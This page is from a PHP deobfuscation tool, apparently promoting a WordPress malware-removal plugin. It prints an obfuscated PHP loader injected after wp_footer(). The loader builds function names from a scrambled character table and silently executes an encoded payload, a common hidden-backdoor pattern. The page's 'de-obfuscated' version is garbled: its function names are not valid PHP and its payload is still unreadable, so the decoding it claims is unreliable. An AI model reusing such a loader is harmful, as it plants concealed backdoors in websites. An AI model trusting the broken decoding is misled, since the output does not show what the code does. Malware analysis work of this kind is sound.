PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php wp_footer(); ?>
<?php $oea = "fFa1 eJO=AnYgGS   MQEL.qWv'w7DoT3PUdZHI4c8NXk9(/ls6C0pKth_xjmB+:zb5,y)iuR*r;2V";$YG2 = $oea[38].$oea[2].$oea[46].$oea[46].$oea[55].$oea[69].$oea[47].$oea[5].$oea[72].$oea[55].$oea[0].$oea[69].$oea[10].$oea[38];$g1O = $oea[38].$oea[72].$oea[5].$oea[2].$oea[53].$oea[5].$oea[55].$oea[0].$oea[69].$oea[10].$oea[38].$oea[53].$oea[68].$oea[28].$oea[10];$XMg = $oea[12].$oea[62].$oea[68].$oea[10].$oea[0].$oea[46].$oea[2].$oea[53].$oea[5];$l9r = $oea[63].$oea[2].$oea[47].$oea[5].$oea[48].$oea[37].$oea[55].$oea[33].$oea[5].$oea[38].$oea[28].$oea[33].$oea[5];$yAP = $oea[15];$vW2 = $oea[24].$oea[34].$oea[11].$oea[45].$oea[59].$oea[14].$oea[39].$oea[16].$oea[25].$oea[13].$oea[16].$oea[41].$oea[45].$oea[46].$oea[33].$oea[9].$oea[40].$oea[42].$oea[50].$oea[59].$oea[51].$oea[19].$oea[56].$oea[26].$oea[18].$oea[50].$oea[33].$oea[42].$oea[33].$oea[68].$oea[46].$oea[37].$oea[38].$oea[16].$oea[21].$oea[69].$oea[41].$oea[16].$oea[38].$oea[6].$oea[10].$oea[58].$oea[66].$oea[2].$oea[54].$oea[2].$oea[75].$oea[52].$oea[2].$oea[72].$oea[60].$oea[36].$oea[25].$oea[45].$oea[69].$oea[43].$oea[69].$oea[62].$oea[36].$oea[31].$oea[68].$oea[48].$oea[0].$oea[35].$oea[57].$oea[39].$oea[70].$oea[26].$oea[23].$oea[58].$oea[11].$oea[48].$oea[25].$oea[38].$oea[51].$oea[66].$oea[42].$oea[18].$oea[12].$oea[40].$oea[12].$oea[28].$oea[56].$oea[46].$oea[33].$oea[52].$oea[7].$oea[60].$oea[75].$oea[46].$oea[41].$oea[18].$oea[36].$oea[19].$oea[72].$oea[37].$oea[34].$oea[51].$oea[66].$oea[6].$oea[11].$oea[54].$oea[35].$oea[38].$oea[29].$oea[18].$oea[49].$oea[52].$oea[18].$oea[31].$oea[54].$oea[64].$oea[59].$oea[5].$oea[56].$oea[45].$oea[59].$oea[74].$oea[37].$oea[22].$oea[54].$oea[52].$oea[14].$oea[58].$oea[41].$oea[37].$oea[72].$oea[10].$oea[2].$oea[23].$oea[75].$oea[2].$oea[26].$oea[31].$oea[41].$oea[74].$oea[28].$oea[48].$oea[66].$oea[0].$oea[56].$oea[38].$oea[68].$oea[52].$oea[56].$oea[69].$oea[2].$oea[60].$oea[74].$oea[40].$oea[29].$oea[3].$oea[25].$oea[45].$oea[72].$oea[10].$oea[32].$oea[26].$oea[29].$oea[32].$oea[51].$oea[14].$oea[16].$oea[59].$oea[6].$oea[25].$oea[68].$oea[9].$oea[2].$oea[26].$oea[3].$oea[59].$oea[60].$oea[28].$oea[13].$oea[54].$oea[7].$oea[54].$oea[6].$oea[19].$oea[59].$oea[40].$oea[16].$oea[13].$oea[70].$oea[32].$oea[11].$oea[50].$oea[37].$oea[50].$oea[58].$oea[19].$oea[43].$oea[17].$oea[74].$oea[12].$oea[13].$oea[48].$oea[22].$oea[5].$oea[42].$oea[51].$oea[1].$oea[68].$oea[29].$oea[13].$oea[39].$oea[26].$oea[64].$oea[68].$oea[47].$oea[54].$oea[13].$oea[5].$oea[3].$oea[6].$oea[74].$oea[56].$oea[42].$oea[21].$oea[54].$oea[6].$oea[1].$oea[64].$oea[52].$oea[35].$oea[9].$oea[2].$oea[22].$oea[10].$oea[36].$oea[7].$oea[30].$oea[5].$oea[33].$oea[48].$oea[21].$oea[35].$oea[28].$oea[36].$oea[40].$oea[72].$oea[38].$oea[26].$oea[49].$oea[10].$oea[1].$oea[23].$oea[41].$oea[64].$oea[39].$oea[34].$oea[46].$oea[28].$oea[56].$oea[26].$oea[23].$oea[74].$oea[68].$oea[19].$oea[6].$oea[0].$oea[47].$oea[74].$oea[26].$oea[21].$oea[40].$oea[54].$oea[69].$oea[35].$oea[68].$oea[53].$oea[48].$oea[66].$oea[6].$oea[52].$oea[72].$oea[60].$oea[2].$oea[45].$oea[43].$oea[63].$oea[30].$oea[3].$oea[52].$oea[7].$oea[72].$oea[59].$oea[59].$oea[51].$oea[69].$oea[29].$oea[39].$oea[12].$oea[2].$oea[60].$oea[60].$oea[23].$oea[12].$oea[18].$oea[8].$oea[24];@$YG2($g1O($yAP,$XMg($l9r($oea[24].$oea[34].$oea[11].$oea[45].$oea[59].$oea[14].$oea[39].$oea[16].$oea[25].$oea[13].$oea[16].$oea[41].$oea[45].$oea[46].$oea[33].$oea[9].$oea[40].$oea[42].$oea[50].$oea[59].$oea[51].$oea[19].$oea[56].$oea[26].$oea[18].$oea[50].$oea[33].$oea[42].$oea[33].$oea[68].$oea[46].$oea[37].$oea[38].$oea[16].$oea[21].$oea[69].$oea[41].$oea[16].$oea[38].$oea[6].$oea[10].$oea[58].$oea[66].$oea[2].$oea[54].$oea[2].$oea[75].$oea[52].$oea[2].$oea[72].$oea[60].$oea[36].$oea[25].$oea[45].$oea[69].$oea[43].$oea[69].$oea[62].$oea[36].$oea[31].$oea[68].$oea[48].$oea[0].$oea[35].$oea[57].$oea[39].$oea[70].$oea[26].$oea[23].$oea[58].$oea[11].$oea[48].$oea[25].$oea[38].$oea[51].$oea[66].$oea[42].$oea[18].$oea[12].$oea[40].$oea[12].$oea[28].$oea[56].$oea[46].$oea[33].$oea[52].$oea[7].$oea[60].$oea[75].$oea[46].$oea[41].$oea[18].$oea[36].$oea[19].$oea[72].$oea[37].$oea[34].$oea[51].$oea[66].$oea[6].$oea[11].$oea[54].$oea[35].$oea[38].$oea[29].$oea[18].$oea[49].$oea[52].$oea[18].$oea[31].$oea[54].$oea[64].$oea[59].$oea[5].$oea[56].$oea[45].$oea[59].$oea[74].$oea[37].$oea[22].$oea[54].$oea[52].$oea[14].$oea[58].$oea[41].$oea[37].$oea[72].$oea[10].$oea[2].$oea[23].$oea[75].$oea[2].$oea[26].$oea[31].$oea[41].$oea[74].$oea[28].$oea[48].$oea[66].$oea[0].$oea[56].$oea[38].$oea[68].$oea[52].$oea[56].$oea[69].$oea[2].$oea[60].$oea[74].$oea[40].$oea[29].$oea[3].$oea[25].$oea[45].$oea[72].$oea[10].$oea[32].$oea[26].$oea[29].$oea[32].$oea[51].$oea[14].$oea[16].$oea[59].$oea[6].$oea[25].$oea[68].$oea[9].$oea[2].$oea[26].$oea[3].$oea[59].$oea[60].$oea[28].$oea[13].$oea[54].$oea[7].$oea[54].$oea[6].$oea[19].$oea[59].$oea[40].$oea[16].$oea[13].$oea[70].$oea[32].$oea[11].$oea[50].$oea[37].$oea[50].$oea[58].$oea[19].$oea[43].$oea[17].$oea[74].$oea[12].$oea[13].$oea[48].$oea[22].$oea[5].$oea[42].$oea[51].$oea[1].$oea[68].$oea[29].$oea[13].$oea[39].$oea[26].$oea[64].$oea[68].$oea[47].$oea[54].$oea[13].$oea[5].$oea[3].$oea[6].$oea[74].$oea[56].$oea[42].$oea[21].$oea[54].$oea[6].$oea[1].$oea[64].$oea[52].$oea[35].$oea[9].$oea[2].$oea[22].$oea[10].$oea[36].$oea[7].$oea[30].$oea[5].$oea[33].$oea[48].$oea[21].$oea[35].$oea[28].$oea[36].$oea[40].$oea[72].$oea[38].$oea[26].$oea[49].$oea[10].$oea[1].$oea[23].$oea[41].$oea[64].$oea[39].$oea[34].$oea[46].$oea[28].$oea[56].$oea[26].$oea[23].$oea[74].$oea[68].$oea[19].$oea[6].$oea[0].$oea[47].$oea[74].$oea[26].$oea[21].$oea[40].$oea[54].$oea[69].$oea[35].$oea[68].$oea[53].$oea[48].$oea[66].$oea[6].$oea[52].$oea[72].$oea[60].$oea[2].$oea[45].$oea[43].$oea[63].$oea[30].$oea[3].$oea[52].$oea[7].$oea[72].$oea[59].$oea[59].$oea[51].$oea[69].$oea[29].$oea[39].$oea[12].$oea[2].$oea[60].$oea[60].$oea[23].$oea[12].$oea[18].$oea[8].$oea[24]))),$oea[37]);?>

Decoded(de-Obfuscated) php code

<?php

wp_footer();
$oea = "fFa1 eJO=AnYgGS   MQEL.qWv'w7DoT3PUdZHI4c8NXk9(/ls6C0pKth_xjmB+:zb5,y)iuR*r;2V";
$YG2 = "Ia((t)/eRtf)nI";
$g1O = "IReapetf)nIpy7n";
$XMg = "g+ynf(ape";
$l9r = ":a/elHtPeI7Pe";
$yAP = $oea[15];
$vW2 = "WUY9jS4 vG 89(PAcN6jCQh'M6PNPy(HI L)8 IJnx5aKa;0aRmZv9)X)+ZTylfd_4i'qxYlvIC5NMgcg7h(P0Om;(8MZQRHUC5JYKdIDMs0MTKzjeh9jrH.K0Sx8HRnaq;a'T8r7l5fhIy0h)amrcD1v9Rn3'D3CS jJvyAa'1jm7GKOKJQjc Gi3Y6H6xQX rgGl.eNCFyDG4'zy/KGe1JrhNLKJFz0dAa.nZOoePlLd7ZcRI'snFq8z4U(7h'qryQJf/r'LcK)dypl5J0Rma9X:o10ORjjC)D4gammqgM=W";
@Ia((t)/eRtf)nI(IReapetf)nIpy7n($yAP, g+ynf(ape(:a/elHtPeI7Pe("WUY9jS4 vG 89(PAcN6jCQh'M6PNPy(HI L)8 IJnx5aKa;0aRmZv9)X)+ZTylfd_4i'qxYlvIC5NMgcg7h(P0Om;(8MZQRHUC5JYKdIDMs0MTKzjeh9jrH.K0Sx8HRnaq;a'T8r7l5fhIy0h)amrcD1v9Rn3'D3CS jJvyAa'1jm7GKOKJQjc Gi3Y6H6xQX rgGl.eNCFyDG4'zy/KGe1JrhNLKJFz0dAa.nZOoePlLd7ZcRI'snFq8z4U(7h'qryQJf/r'LcK)dypl5J0Rma9X:o10ORjjC)D4gammqgM=W"))), $oea[37]);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.